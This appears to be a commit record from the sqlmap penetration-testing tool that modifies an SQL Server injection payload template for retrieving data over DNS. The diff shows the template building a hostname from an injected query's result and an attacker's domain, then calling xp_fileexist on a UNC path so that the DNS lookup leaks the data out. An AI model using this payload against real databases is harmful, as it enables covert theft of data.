more minor updates regarding data retrieval through DNS channel

This commit is contained in:
Miroslav Stampar
2012-03-27 19:29:24 +00:00
parent 9199ce5054
commit 769b0d0ae7
3 changed files with 26 additions and 2 deletions

View File

@@ -1,3 +1,3 @@
DECLARE @host varchar(1024);
SELECT @host = (%QUERY%) + '.%DOMAIN%';
SELECT @host = '%PREFIX%' + (%QUERY%) + '%SUFFIX%' + '.%DOMAIN%';
EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');